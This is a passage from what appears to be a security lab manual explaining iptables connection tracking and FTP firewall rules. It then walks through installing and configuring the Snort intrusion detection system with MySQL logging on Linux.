5. The “eth0” and “wlan0” interfaces accept DHCP server assigned IP addresses

6. The computer is able to browse the web, view videos and participate in audio / video connections with other machines, provided that the computer has initiated the connections

7. The computer does not accept any new, inbound connections (but this is fine as we are not yet acting as a web server, DHCP server or any other server for that matter)

8. For a basic but relatively secure initial configuration that’s pretty much it. Type in the aforementioned commands and attempt to access your laptop from another machine. You should find that it is impossi-ble to access anything for which rules have not been explicitly configured.

Basic Configuration Additional Information

Skype

If the configuration that we just applied doesn’t allow new inbound connections, what happens, for exam-ple, when someone calls you using Skype? Why does your firewall let this inbound, unsolicited connection into your computer when you have not initiated it?

The answer is, “it isn’t unsolicited”.

Skype uses TCP to set up connections and UDP for the transmission of audio and video data between end-points. The firewall only requires UDP source / destination IP address and source / destination port number information to create flow records.

When you start your Skype client it first establishes a TCP connection with a central Skype server and tells the server the source and destination UDP port numbers that your computer will use for audio sessions. The person calling you will have done exactly the same at his / her end.

PART 3

LAB EXCERCISES

209

The Skype server now has your IP addresses and UDP port information, which it sends to the other party. It also sends the IP address and UDP port information of the other party to your Skype client. The Skype clients at both ends start sending UDP packets direct to each other’s IP addresses creating an outbound flow record in their respective firewalls. When the other party calls you, the UDP packets he / she sends contain your UDP destination port and his / her UDP source port information. Your firewall believes that these packets are related to the outbound flow that you just initiated and creates an ESTABLISHED bi-directional flow record allowing the packets in.

TCP

For UDP flows, iptables determines “flow membership” (i.e. bi-directional communication) using only source destination IP address and source / destination port numbers.

For TCP flows, iptables determines “flow membership” using source / destination IP addresses, source / desti-nation port numbers, and TCP sequence numbers and acknowledgements.

To “talk” TCP, the participating devices must first establish a TCP session. The device initiating the session sends a TCP SYN packet to the receiving device. The receiving device responds with a SYN ACK packet that has the ACK control bit set. The initiating device responds to this SYN ACK packet with an ACK packet that also has the ACK control bit set. This is known as a three-way TCP handshake.

Three-Way TCP SYN Handshake

The ACK bit resides in the flags field of the TCP header and is set in every acknowledgement packet for the rest of the conversation thereafter.

If the ACK bit is set in an inbound packet it indicates that the packet is a response to something we transmit-ted. Some firewalls and router access control lists use the ACK bit to distinguish whether inbound packets are responses (bit set - therefore permissible) or new connection attempts (bit not set - therefore blocked).

Iptables does not check the ACK bit of TCP packets but it does designate connections as established. The “conntrack” connection tracking subsystem monitors flow records in the iptables connections database. Conntrack shows a connection as being ESTABLISHED after successful completion of the three-way hand-shake. The output below is an extract from the connections database:

PART

3LA

B E

XCER

CISE

S

210

[NEW] tcp 6 120 SYN_SENT src=192.168.1.73 dst=192.168.1.66 sport=49511 dport=21 [UNREPLIED] src=192.168.1.66 dst=192.168.1.73 sport=21 dport=49511

[UPDATE] tcp 6 60 SYN_RECV src=192.168.1.73 dst=192.168.1.66 sport=49511 dport=21 src=192.168.1.66 dst=192.168.1.73 sport=21 dport=49511

[UPDATE] tcp 6 432000 ESTABLISHED src=192.168.1.73 dst=192.168.1.66 sport=49511 dport=21 src=192.168.1.66 dst=192.168.1.73 sport=21 dport=49511 [ASSURED]

Use of the ESTABLISHED argument in a rule effectively tells iptables to check the connections database and directs it to permit inbound packets that are part of an established flow i.e. one that we initiated or permit-ted to be initiated.

Use of the RELATED argument performs has a complementary but slightly different function. Some types of connection are not as straightforward as others. For example, in Passive FTP the client establishes an inbound “control” connection to the server using port 21. The server then generates a random port number and tells the client to use that port to set up a separate, inbound “data” connection to the server. We can’t know in advance what the random port number will be so cannot pre-configure a rule to accommodate the separate inbound connection on that port. The RELATED keyword directs iptables to use the information in its connections database to determine whether the data connection is related to the control connection and, if so, to permit it. Iptables only deems connections to be RELATED if they are associated with pre-exist-ing ESTABLISHED connections.

Please note: It is necessary to load the “nf_conntrack_ftp” kernel module to support Passive FTP. This “helper” module is responsible for identifying that the data connection is related to the already established control connection.

Without the “related” command we would need to configure numerous and much more complex rules.

TCP sessions are closed in an orderly fashion using a four-way handshake, as shown in the figure below.

FTP

There are two types of FTP – Active and Passive. It’s good to understand how they work in order to configure the correct rules in your firewall for inbound, client initiated FTP connections. The configuration is explained in the next section.

In both types of FTP, the client connects to the server using a control connection to send commands, such as “get”, “put” and “dir” etc. A separate data connection is used to transfer data. In Active FTP the client initiates the control connection and the server initiates the data connection. In Passive FTP the client initiates both connections.

With an inbound Active FTP connection, the client initiates a TCP control connection to server port 21 and tells the server on what port the client wishes to receive data, usually its initiating source port + 1.

The server then opens a separate data connection from port 20 to the client specified receive port and files are exchanged on this connection. Control traffic and commands continue to be exchanged on the control connection.

This is all fine on a local LAN between two trusted machines. But, if the client uses FTP to retrieve files from a server somewhere on the Internet the client has no real way of knowing whether the server initiated data connection is trustworthy or not.

PART 3

LAB EXCERCISES

211

Passive FTP was developed to overcome this client side problem. Great! It’s now the server firewall adminis-trator’s problem. In Passive FTP, the client initiates both the control and data connections.

Passive FTP

The client connects to the server’s control port 21 sending it the “PASV” command indicating that it wishes to use Passive FTP. Meanwhile, the client also opens its own data port - 49741, for example.

PART

3LA

B E

XCER

CISE

S

212

If the server agrees to use Passive FTP it generates a random data port number, 4010 for example. The server tells the client on the control connection that it will be listening for a data connection on this port. The client initiates a data connection from its data port 49741 to the server’s data port 4010.

In the rules that we configure we must be able to cater for both Active and Passive FTP connections.

For Active FTP, we only need to configure a rule to permit the inbound control port 21 connection from the client. The server’s outbound data connection to the client is permitted because we initiate it and our default OUTPUT policy is ACCEPT.

For Passive FTP, we still need to configure a rule to permit the inbound control port connection. But, for the client’s inbound data connection we need two things:

1. To specify th eESTABLISHED and RELATED arguments in our general inbound response rule (as config-ured in the Basic Configuration section)

2. To load the“nf_conntrack_ftp”kernelmodule.

By the way, the server may well not agree to use Passive FTP, in which case the client and server may agree to fall back to Active FTP.

Advanced Configuration

This section provides an overview of connection tracking and also explains how to configure additional rules to expand functionality to allow other connection types into the computer, such as SSH, FTP, TFTP and CIFS (for Samba file sharing).

Protocols & Services – Connection Tracking

Examining the Connections Database

Iptables maintains state for all the connections it manages using the conntrack subsystem’s connections database. Conntrack hooks into the kernel’s netfilter APIs. Conntrack creates flow records in its database, tracks and changes the state of existing flows, expires and deletes old flows and calls helper modules, such as nf_conntrack and nf_conntrack_ftp. These modules are necessary when iptables needs to create flows that are RELATED to ESTABLISHED flows.

The conntrack command line tool is used to inspect the connections database contents interactively.

Please Note: You may have to download and install the conntrack tools separately “apt-get install con-ntrack conntrack-tools”

Use the conntrack command with the -L option to examine a snapshot of the filter table’s connections da-tabase. You can examine the databases of other tables with the conntrack <table> -L command. Use the -s or -d options to list entries with the specified source or destination IP addresses. The conntrack -h command lists all of the other available command options.

The entries below show a TCP dialogue between two computers with IP addresses 192.168.1.66 and 192.168.1.72. The information tells us that this is an Active FTP exchange. The first entry shows that the client (192.168.1.72) has already established a connection to the server’s FTP control port 21. The second entry shows that the server has just sent a TCP SYN packet from data port 20 to set up the corresponding FTP data connection to the client.

PART 3

LAB EXCERCISES

213

conntrack -L -s 192.168.1.72

tcp 6 431975 ESTABLISHED src=192.168.1.72 dst=192.168.1.66 sport=49747

dport=21 src=192.168.1.66 dst=192.168.1.72 sport=21 dport=49747 [ASSURED] mark=0 use=1

Conntrack -L -s 192.168.1.66

tcp 6 119 SYN_SENT src=192.168.1.66 dst=192.168.1.72 sport=20

dport=49748 src=192.168.1.72 dst=192.168.1.66 sport=49748 dport=20 [AS-SURED] use=2

ASSURED means that conntrack will maintain the entries in the database even if the maximum number of sessions has been reached (see the conntrack tuning section).

The first number on the left of each entry is TCP protocol number 6 and the number immediately after it is a count-down timer to flow expiry in seconds. The established connection has 431975 seconds (almost 5 days) until it expires and the SYN sent connection has only 119 seconds left. One or the other of the communicat-ing devices will terminate the established connection well before its countdown timer expires.

You can also examine these records by doing a “cat” of the file:

more /proc/net/ip_conntrack

In addition to examining the records in the connections database you can also see records in real time as conntrack is creating them. Issue the conntrack -E (Events) command:

root@archiso:~# conntrack -E

PART

3LA

B E

XCER

CISE

S

214

Installing Snort from Source Code on Linux

There are many source of guidance on installing and configuring Snort, including several instruction sets posted on the Docs page of the Snort website. The “pre-work” are quite relevant when planning to conduct basic experimentation activities, especially when compiling Snort from source code, as the build process itself (and the commands used to execute it) are somewhat different when you intend to use Snort with a logging database like MySQL than they are when you don’t. The lab also provides some of the pros and cons for installing from source versus installing from packages, but only provides detailed guidance for installing from packages. This is certainly a viable option, and there are many valid reasons (and frequently encountered frustrations when compiling from source) that provide arguments in favor of package-based installation. However, the text does not mention one of the most frequent arguments against installing from packages for your distribution: it is unlikely that available packages represent the latest version of the software you are trying to install.

Creating a fully functional Snort environment that reflects a real-world production implementation of the IDS involves installing and configuring quite a few separate tools, as indicated in the logical diagram below. Within Snort there are a large number of available preprocessors and rules of different types that may be useful in different environments depending on what is running in those environments, what information assets need protection, and the kinds of user behavior or business processes that are expected to occur. Re-ceiving and analyzing network traffic in Snort is often the central focus, but it is just one piece of the techni-cal puzzle. The second major function is handling the alerts and other types of output generated by the IDS. The most common alternatives for handling Snort output include sending it to a standard logging utility such as syslog, writing the log output to the screen or a monitoring console, or generating output in Snort’s special unified2 format and processing it with Barnyard. For our purposes we’ll assume that the goal is to get alert data into a database for further inspection and analysis, so we will have Snort produce unified2 output and use Barnyard2 to load that output in the MySQL database.

The primary benefit of using Barnyard instead of direct database logging is speed – spooling unified2 out-put to a file for processing by Barnyard is less processor-intensive than maintaining a live database connec-tion and inserting event records in the database – so in production environments where IDS processing capacity is a priority, it is a good idea to off-load output handling to a tool like Barnyard. Note: the Sourcefire project responsible for Snort development and enhancement deprecated direct output logging to databas-es beginning with v2.9.3, so there is no longer a MySQL output plugin in the tool. Once Snort output is in the database, the next step is to make the alert data available for visualization and analysis, in this case using BASE (an application primarily written in PHP) to provide summary and detail level information about alerts generated by Snort or any other tool that might have the capability and permissions to write to the tables in the MySQL database

PART 3

LAB EXCERCISES

215

Getting and Installing Necessary Tools

There are many, many libraries and program dependencies that Snort relies on in order to successfully build from source. In most distributions of Linux, you have the option of installing pre-built packages (through the Synaptic Package Manager tool in Ubuntu or similar utilities like Yum or Red Hat Package Manager in other distributions), using apt-get from the command line for the package in question, or getting the program yourself and installing (possibly building from source just as you will for Snort). As of the 2.9.4 release level for Snort, the following table lists the packages you will need, with a starting recommendation as to how you should make sure they are installed on your Linux instance. Generally speaking, you want everything here installed before going through the Snort installation instructions that follow. You may find that some of these are already installed (perhaps by default) on your Linux instance, but you should check for all of them.

To choose packages to install, open the Linux package manager – on Ubuntu, the quickest way to do this is to click the Package Manager icon in the left-hand menu of the Ubuntu Desktop or to click on the “Dash Home” icon at the top left of the screen, type “package manager” in the search box, and click on Synaptic Package Manager. You will be prompted for your regular user password to launch the package manager. The package manager has a “Quick search” box that facilitates the process of finding the packages you want. Please note: when many of the packages listed below are selected, the package manager will prompt you that additional packages should also be marked for installation. These are package dependencies, and you should accept the recommendations in the prompts. Further instructions are provided below for manually installing the programs listed under the “Install manually” headings in the table.

Snort dependencies (you need these to be able to install Snort from source)

Install using the package manager in your Linux distribution:

Packet capture library: libpcap0.8 and -dev package

Perl compatible regular expressions (PCRE) libraries: libpcre3, libpcre++0 and -dev packages

Fast lexical analyzer: flex

GNU parser generator: bison

GNU C/C++ compiler: g++

Install manually:

Data Acquisition library (DAQ): daq-2.0.0

Dumb networking library: libdnet

Snort rules: snortrules-snapshot-2940

Snort: snort-2.9.4

Barnyard2: barnyard2-1.11

216

Optional packages (Needed if you intend to use Snort with other tools like MySQL and BASE)

Install using the package manager in your Linux distribution:

Relational database: MySQL

mysql-client and mysql-client-5.5

mysql-server

libmysqld-dev(or mysql-dev or similarly named development package)

HTTP/Web server: Apache2

PHP Hypertext Preprocessor: php5 and php5-dev

PHP module for Apache2: libapache2-mod-php5

PHP command line interpreter: php5-cli

PHP extension and application repository (PEAR): php-pear

PHP Graphics Drawing module: php5-gd

PHP module for using MySQL: php5-mysql

PHP module for optimizing ADOdb: php5-adodb

The zlib compression library (needed by some preprocessors): zlib1g, zlib1g-dev, zlibc

Install manually:

Basic Analysis and Security Engine: base-1.4.5

Database abstraction library for PHP: adodb518a

(Optional) PHP graphing modules: php-image-graph and php-image-canvas

Note: When selecting packages to install using a package manager, you should also install any dependent programs/packages/files needed for each package you choose.

Note 2: During the package installation for MySQL, you will be prompted to create (and confirm) a root password for the MySQL database. Please choose a password you can remember or keep track of. After you have finished installing packages, close the Package Manager. For the manual installation steps that come next, you will be working from the command shell (terminal), so click on the Dash home, type “terminal” in the search box and click on Terminal.

217

Manual Tool Source Files

Any time you are going to be downloading source code, it’s a good idea to settle on a standard place to put it. Many online guides suggest creating a temporary directory under the Linux root folder (something like “/root/snorttemp”), with the assumption that you’ll just delete the downloaded source files once you’re done with them. There’s nothing wrong with this approach, although conventional Unix/Linux wisdom has long held that you should put source files in the /usr/src directory that already exists by default in most Linux dis-tributions. In any case, our first step is to open up a terminal session (also called a “shell”), switch to a secure shell to use administrator privileges, and either create and move to a directory for your downloaded packag-es or go to the existing src directory.

Open a terminal session, which should result in a window with a text command prompt: $

At the prompt, log in as root (superuser) by typing: $ sudo su

Enter your user account password. When you are logged in as root, the end character of the command line should change to #

Change to the source directory: # cd /usr/src

Create a temporary directory: # mkdir snorttemp

Change to the temporary directory you just created: # cd snorttemp

Confirm you are in the intended location: # pwd

Now it’s time to get the source files from www.snort.org. There are three things we want to download: the source code for Snort itself, the data acquisition library, and the rules files. To get these files, we will use the Linux wget command, which will retrieve a file to the current directory from any location we specify. There is an alternate approach to the wget command – if you prefer, you can use the Firefox web browser from the Ubuntu desktop, browse to Snort.org, and download the files using the browser. With this method, the files will be downloaded to the user desktop (“/<username>/home/desktop”) and you will need to move them from this location to the src directory or other location from which you intend to run the installation com-mands. These instructions use the wget approach to bring everything to the working location and to pro-vide a continuous set of instructions using the terminal shell, rather than switching back and forth between the command line and the graphical desktop.

Note: If you read over the Snort home page, you may also see a reference to Barnyard as an additional requirement. Barnyard is a program that receives Snort output in unified2 binary format and then writes that output to a logging database such as MySQL. By taking over the database writing functions from Snort, Barnyard allows Snort to allocate more resources to detection, and fewer resources to logging output, and is therefore recommended by Sourcefire to maximize Snort performance in terms of processing speed. This in-struction set is focused on learning and experimenting with Snort, not with optimizing performance, so for simplicity we will start by configuring Snort to log output directly to the MySQL database. Separate instruc-tions are provided for Installing and Configuring Barnyard2.

PART

3LA

B E

XCER

CISE

S

218

To know where to tell wget to look, we need to go to Snort.org and find the URLs for the files we want. Please note: before you can get the Snort ruleset, which requires you to be a subscriber or a registered user on Snort.org, you need to generate an “oinkcode” by logging in to Snort.org, going to the rules page by click-ing “Get Rules” and following the process initiated with clicking the “Get an Oinkcode” link on the right-hand navigation menu. Bear in mind that an Oinkcode is a long string of characters, and that most Linux distri-butions don’t allow pasting into the command line, so you will want to transcribe it carefully from the web page where it is shown to the command line you are working on.

Get the latest version of Snort: # wget http://www.snort.org/dl/snort-current/snort-2.9.4.tar.gz

Get the latest version of the rules (this URL is for the registered user release): # wget http://www.snort.org/sub-rules/snortrules-snapshot-2940.tar.gz/<oinkcode> -O snortrules-2940.tar.gz (the last part of this string staring with -O saves the rules package with a somewhat simpler filename)

Get the Data Acquisition Library: # wget http://www.snort.org/dl/snort-current/daq-2.0.0.tar.gz

Get the libdnet dumb networking library: # wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz

Get the latest version of Barnyard2: # wget https://github.com/firnsy/barnyard2/archive/v2-1.11.tar.gz

Confirm the four zipped tar files are now in your working directory: # ls

Extract the files from the DAQ package: # tar -xzvf daq-2.0.0.tar.gz

Extract the files from the libdnet package: # tar -xzvf libdnet-1.12.tgz

Extract the files from the Snort package: # tar -xzvf snort-2.9.4.tar.gz

Extract the rules files from the package: # tar -xzvf snortrules-2940.tar.gz

Extract the files from the Barnyard2 package: # tar -xzvf v2-1.11.tar.gz

If you display the directory contents again you should see eight new folders in addition to the package files now in your working directory, one for each program package you extracted (with the same name as the packages but no extensions except in the case of Barnyard2, which when extracted will be in a directory named “barnyard-2-2-1.11”), and four directories associated with Snort and its rules (etc, rules, so-rules, and preproc-rules): # ls

Optionally, you can delete the packages using the Linux remove command, such as: # rm snort-2.9.4.tar.gz

Now we have all the source material we need to compile Snort and begin configuring it on a Linux system.

Manual Tool Installation

The installation steps are very straightforward when everything goes right, but bear in mind that it is en-tirely possible that the Snort compilation will fail at some point due perhaps to a missing dependency (like libpcap or pcre not being installed already on the system), or even the needed source code compiler (such as gcc) not being installed. If you are starting your process from a bare-bones Linux install, you may need to obtain and install additional prerequisite components (again, either through the distribution’s package manager or manually). These instructions are intended (and have been tested) to include everything you need on Ubuntu Linux and comparable distributions, but if a missing dependency does turn up, the usual corrective action is to go back to the package manager and make sure all required packages (including -dev variations where applicable) have been installe

PART 3

LAB EXCERCISES

219

Change to the libdnet directory: # cd libdnet-1.12

Build the library using the standard Linux 3-step series of commands (waiting for each one to finish success-fully before starting the next). The prefix specification in the first step makes sure that libdnet ends up in a directory where DAQ and Snort will expect to see it.

# ./configure --prefix=/usr

# make

# make install

Return to the snorttemp directory with cd .. and change to the DAQ directory: # cd daq-2.0.0

Build the library using the standard Linux 3-step series of commands (waiting for each one to finish success-fully before starting the next)

# ./configure --prefix=/usr

# make

# make install

Return to the snorttemp directory with cd .. and change to the Snort directory created when you extracted the Snort package: # cd snort-2.9.4

To configure Snort to install, you need to execute the standard source code compilation commands, with an option included to make sure all of the Snort components work as intended:

# ./configure --prefix=/usr

# make

# make install

This process will install Snort by default in the /usr/local/bin directory; if your distribution came with Snort or if you use a package manager to install, the location may actually be different, or you can force it to a dif-ferent location using the --prefix option with the ./configure command. The easiest way to determine Snort’s location is to use the “whereis” Linux command: # whereis snort

The next step is to set up the configuration directories and move some files from the temporary directory to the new locations. The syntax for move or copy in Linux is to list the source location first, then the destina-tion. Start these steps from within the directory where you have downloaded the Snort packages (e.g., /usr/src/snorttemp).

mkdir /etc/snort

# mkdir /etc/snort/rules

# mkdir /etc/snort/preproc_rules

# mkdir /etc/snort/so_rules

# mkdir /usr/local/lib/snort_dynamicrules

# mkdir /var/log/snort

PART

3LA

B E

XCER

CISE

S

220

Make sure you are in the temporary directory where you have been working with the Snort installation files: # pwd

Change to the Snort etc directory created when you extracted the Snort package: # cd snort-2.9.4/etc

# cp * /etc/snort

Go back to the temporary directory with cd .. twice, then change to the etc directory created when you ex-tracted the Snort rules package package: # cd etc

Copy the file sid-msg.map to the /etc/snort directory (Snort does not need this file, but Barnyard2 does):

# cp sid-msg.map /etc/snort

Go back to the temporary directory with cd .. twice, then change to the rules directory created when you extracted the Snort rules package: # cd rules

# cp * /etc/snort/rules

Change to the preprocessor rules directory created when you extracted the Snort package: # cd ../preproc_rules

# cp * /etc/snort/preproc_rules

Change to the shared object rules directory created when you extracted the Snort package: # cd ../so_rules

Unlike the regular VRT rules, shared object rules need to be compiled before they can be used. You have two options here: make and install the shared object rules from source; or execute a Snort routine to perform the installation using the precompiled shared object rules available as part of the Snort installation. In most cases, using the precompiled rules is the easiest approach. Under the so_rules directory, there is a subdi-rectory called “precompiled” that contains numerous subdirectories names for different Linux distributions. Find the directory for your version of Linux, and then drill down to the right set of rules. In the current release of Snort, there are precompiled rules for Ubuntu 10.04 and 12.04; use the rules in the 12-04 directory. To get to the precompiled rules you first navigate to the appropriate directory for your processor type (such as i386) and then to the directory for your version of Snort (2.9.4.0). So now you should be in a subdirectory with a path something like /usr/src/snorttemp/so_rules/precompiled/Ubuntu-12-04/i386/2.9.4.0/. Once you reach this point, copy the rules files in the directory to the snort_dynamicrules directory you created in step above:

# cp * /usr/local/lib/snort_dynamicrules

Completing the installation of the shared object rules requires us make some changes to the snort.conf con-figuration file, and to run Snort with a special option enabled. We’ll finish the shared object rule installation after we edit snort.conf, following the instructions in the “Customizing snort.conf” section that comes next.

The last thing we need to do is to edit the snort.conf file to make it reflect the environment where your computer is running. The instructions in The Snort IDS and IPS Toolkit starting used to be pretty compre-hensive for this step, but the module doesn’t cover all the elements found in the current versions of Snort and even where it does, there are numerous areas that can trip you up if you’re not careful (see instructions that follow). You should make sure that when you edit the file, you are working on the one in /etc/snort (and not the one in your temporary source code directory). Before we get to editing snort.conf, we’ll get MySQL set up to work with Snort, as some of the things we do in that process need to get reflected in snort.conf too. Installing Barnyard2 requires enough steps to warrant its own set of instructions, which are provided at Installing and Configuring Barnyard2.

PART 3

LAB EXCERCISES

221

Installing MySQL to Work with Snort

Whether you use Windows or Linux, there are many instruction guides available for installing MySQL. On almost every modern Linux distribution, you’ll find MySQL included by default; some of the Linux OS in-stallation routines even include the steps to initialize the database service and run it by default on start-up. There is an enormous amount of information that goes into working with relational databases like MySQL, SQL language syntax and commands, and other aspects of database operations well beyond the scope of these instructions or what is needed to work with Snort. The intent of this task is to get MySQL installed and minimally configured so that you can use it to store Snort to log output in the database. Note: As of Snort v2.9.3, direct output logging to a database such as MySQL was been deprecated from the tool, so Snort log output is first directed to another location or tool (such as Barnyard2 or other tools that read Snort’s unified output format) and then the output handler uses the database to store the log information.

Because the purpose of this activity is not to become expert with MySQL, and because you have plenty of opportunity to install Snort, BASE, or programs from source, we’ll assume for this optional session that you will be installing MySQL on Linux using either the default MySQL instance that came with your distribu-tion or installing MySQL using the package manager. You will find the official installation guides for mul-tiple operating systems in Chapter 2 of the online MySQL reference manual at http://dev.mysql.com/doc/refman/5.5/en/installing.html. The only choice that leaves you with is what version to download and install. The current stable release is MySQL Community Server v5.5.29, which can be downloaded from http://dev.mysql.com/downloads/mysql/. Most Linux distributions do not include this latest release in their packages, but the 5.5 version included with many Linux distributions (including Ubuntu 12.04) is perfectly suitable for logging Snort alerts.

Once you have MySQL installed and started (if you are not running it as a service, you will need to navigate to the /bin subdirectory wherever MySQL is installed and use the mysqld command from the command line), you need to log in to MySQL so we can make preparations to use it with Snort. The primary tasks are to create the Snort database (where the log entries will be written) and to create a MySQL database user account for Snort. The Snort IDS and IPS Toolkit gives one approach to this series of steps on page 100. Re-member that MySQL commands need to have a semicolon at the end.

1. Open a command shell by searching for and selecting Terminal from the Dash Home in the Ubuntu desktop.

2. Navigate to the directory where MySQL is installed – the typical Linux default is /usr/bin/ (remember you can find its location in Linux with the command whereis mysql): # cd /usr/bin

3. Start the MySQL client, logging in as root: # mysql -u root -p

4. Enter the password at the prompt that follows. If you are successful, you will see the MySQL command line prompt: mysql>

5. Create the database for Snort logging: mysql> CREATE DATABASE snort;

6. Create a new user for Snort: mysql> CREATE USER snort@localhost;

7. Create a password for the Snort user account (feel free to use something more secure when you do it yourself ): mysql> SET PASSWORD for snort@localhost=PASSWORD(‘snortpass’);

8. Assign access rights to the Snort user account: mysql> GRANT INSERT, SELECT on root.* to snort@local-host;

9. Assign access rights to the Snort user account: mysql> GRANT CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort@localhost;

PART

3LA

B E

XCER

CISE

S

222

10. Make sure you keep track of the Snort username, password, and database name, because you’ll need this information for the snort.conf file.

11. Log out of MySQL using the exit command.

The last step on the MySQL side is to create the database tables Snort will use for logging. Prior to Snort v2.9.3, Sourcefire included a script to create the tables with the Snort source file package, but since direct database outlook is deprecated in Snort from v2.9.3 onward, the schema creation script is now distributed with Barnyard2. There is a subdirectory called “schemas” created as part of unpacking the Barnyard2 tarball, and the “create_mysql” file in the schemas directory is essentially a listing of all the SQL commands needed to create the tables in the Snort database. Using the “<” character, we can tell MySQL to load this text file and run the commands contained in it. So, to create the Snort tables:

Locate the schema creation file. It should be in the temporary installation directory we used in the previous topic, such as /usr/src/snorttemp/barnyard2-2-1.11/schemas. Note the full path to the file.

1. Switch to the directory where MySQL is installed: # cd /usr/bin

2. Run the command to create the tables: # mysql -D snort -u root -p < /usr/src/snorttemp/barn-yard2-2-1.11/schemas/create_mysql

3. Enter the root password when prompted.

4. Now if you log in to MySQL you can look at the tables to check that everything worked.

5. # mysql -u root -p (Enter the root password when prompted)

6. mysql> use snort;

7. mysql> show tables;

8. exit

Now we have MySQL installed and ready to use with Snort; we have basically set up MySQL to be ready for the kind of data Barnyard2 wants to write to the database. So far, we have focused separately on installing Snort and MySQL, although with the MySQL instructions we put the pieces in place so that MySQL could receive Snort logging information from Barnyard2.

Customizing snort.conf

Getting Snort installed successfully can be a challenge, but it is also only the first step in setting the tool up so you can launch it to start monitoring traffic and generating alerts. To get Snort ready to run, you need to change the default configuration settings file (which is created as part of the Snort installation) to match your local environment and operational preferences. If you followed all the instructions up to this point, then the snort.conf file will be located in the directory /etc/snort. You need root privileges to be able to edit the file, so first open a terminal session: search for and select Terminal from the Dash Home in the Ubuntu desktop, then login as root using sudo su, and navigate to the appropriate directory by entering cd /etc/snort. You can open the file for editing using any Linux editor you prefer, such as vim, nano, or gedit. For instance, using nano, enter the following command: # nano snort.conf

When you open the file for viewing or editing, you will see it is organized into nine parts or steps:

PART 3

LAB EXCERCISES

223

1. Set the network variables

2. Configure the decoder

3. Configure the base detection engine

4. Configure dynamic loaded libraries

5. Configure preprocessors

6. Configure output plugins

7. Customize your rule set

8. Customize preprocessor and decoder rule set

9. Customize shared object rule set

As you can see, there are a lot of ways to customize Snort, and making sense of the entire snort.conf file can be a little daunting. To get running for the first time, many of the defaults can be left alone. The following edits are recommended:

Step 1

First off, relatively newer versions of Snort include support for IPv6, but if you are not using IPv6 or if you have not compiled Snort to use IPv6 (by using the --enable-ipv6 configuration option), you need to change all the “ipvar” declarations to say “var” instead. Go through the lines in step 1 and change them all.

Change the declaration for HOME_NET to your actual home network IP address range, rather than leaving the default “any”. The simplest way to do this is to use a CIDR format expression, to cover the entire range of relevant addresses (particularly when using Network Address Translation such as in environments protected by gateways or routers.

For a typical home network, the expression will be 192.168.0.1/24 or 192.168.1.1/24 (if you’re not sure whether your third number is a 0 or 1, check your gateway/router documentation or just ping it. If you want to cover all IP addresses beginning with 192.168, then use the expression 192.168.0.0/16

In a typical large office network using network address translation, the expression will be 10.0.0.0/8

In some environments (including home environments connecting to the Internet via cable modem without the use of a gateway or router) the appropriate IP address range to use may be dictated by the ISP from which you get your Internet service.

If you are unsure which IP address range to specify for your home network, you can quickly check to see the IP address assigned to your computer by opening a command shell window and typing ifconfig at the prompt (this is functionally equivalent to the ipconfig command in Windows).

Finally, you can leave the HOME_NET declaration as “any” if you are unable to accurately determine a specific IP range to use.

PART

3LA

B E

XCER

CISE

S

224

Change the declaration for EXTERNAL_NET to !$HOME_NET – this expression means the external network will be defined as any IP address that is not part of the home network. Important! If you leave HOME_NET declared as “any” you cannot use !$HOME_NET, as the expression will translate to “not any” and throw an error when you try to start Snort.

Generally speaking, you can leave unchanged all the other server declarations, although if you want you can reduce the list of web server ports declared for HTTP_PORTS.

Change the var RULE_PATH declaration to match the actual location of your rules files. Typically the rules will be stored in /etc/snort/rules, so you can use that full path name or whatever the right location is on your system.

Similarly, change the SO_RULE_PATH and PREPROC_RULE_PATH to match the appropriate directory loca-tions on your system. By default these will be /etc/snort/so_rules and /etc/snort/preproc_rules, respectively.

The reputation preprocessor is a relatively recent addition to Snort that allows you to configure trusted or untrusted IP addresses using separately referenced files that list the addresses (whitelist for trusted, black-list for untrusted). If you intend to enable the reputation preprocessor then the path to the whitelist and blacklist files needs to be provided at the end of step 1. Please note: if you leave the reputation preprocessor enabled, you must create the whitelist and blacklist rules files referenced in the preprocessor configuration, or Snort will generate an error and fail to start. If you want to work with the reputation preprocessor later, be sure to comment it out in step 5.

Step 2

For most users, there are no changes needed to the decoder configurations.

At the end of this section, there is a configuration setting to indicate the default directory where Snort logs should be written. Uncomment this line by deleting the # character in the first position and edit the line to include the /var/log/snort directory path.

Step 3

For most users, there are no changes needed to the base detection engine settings, so move on to step 4. These settings are used for performance tuning and reflect memory and processing capabilities.

Step 4

Confirm that the correct path is declared for each of the dynamic libraries (which Snort references and loads at start-up):

dynamicpreprocessor directory /usr/local/lib/snort_dynamicpreprocessor

dynamicengine /usr/local/lib/snort_dynamicengine/libsf_engine.so

dynamicdetection directory /usr/local/lib/snort_dynamicrules

Note that the dynamic engine is actually pointing to a file, while the other two declarations point to direc-tories. It’s always a good idea to double-check the accuracy of these locations by browsing to them with the file browser or performing directory listings from the command line. In particular, the snort_dynamicrules directory is not created by Snort during the install, which is why we created the directory during the process of setting up files and directories during manual tool installation. If you did not create the directory or will not use dynamic rules, just comment out the dynamicdetection directory line.

PART 3

LAB EXCERCISES

225

Step 5

Be aware that there are many, many preprocessors for use with Snort, and you very likely will not want or need to have all of them running. Each preprocessor has a separate readme file with configuration options and settings documented in it, so if you want to use a particular preprocessor, you should consult those files or the Snort manual to make sure you set them up properly.

For general-purpose Snort usage, it usually makes sense to disable (comment out) some of the preproces-sors, particularly ones like those for normalization listed first in Step 5 that only apply to Snort in in-line mode. Of the others, it is usually a good idea to keep the following preprocessors active (default configura-tion settings are typically OK):

1. frag3

2. stream5

3. http_inspect

4. ftp_telnet

5. smtp

6. dns

7. ssl

8. sensitive_data

Many of the preprocessor default configurations can cause errors when starting Snort at runtime. When you’re getting started, it is often easiest to remove the offending setting or comment out a preprocessor long enough to make sure that Snort otherwise loads correctly. After that, you can circle back and tune con-figuration settings you may have disabled if you want them later.

The most recent releases of Snort include some very interesting new preprocessors, some of which are not included in snort.conf by default. You can learn more about these preprocessors and the configuration syntax used to add them to the file in Step 5 by consulting the Snort documentation or the “readme” file for each preprocessor.

As noted in Step #3 above, if you choose to keep the reputation preprocessor enabled you must create wh-itelist and blacklist files corresponding to the references in the configuration settings for the reputation pre-processor, which is at the very end of Step #5. You can opt to comment it out for initial setup and come back to it later. Snort by default includes a set of rules in a file called “blacklist.rules” that is not used by the rep-utation preprocessor. For this reason it is strongly recommended to avoid later confusion that you choose names for the whitelist and blacklist files that do not include “rules” in the names (for example, “white_list” and “black_list”).

PART

3LA

B E

XCER

CISE

S

226

Step 6

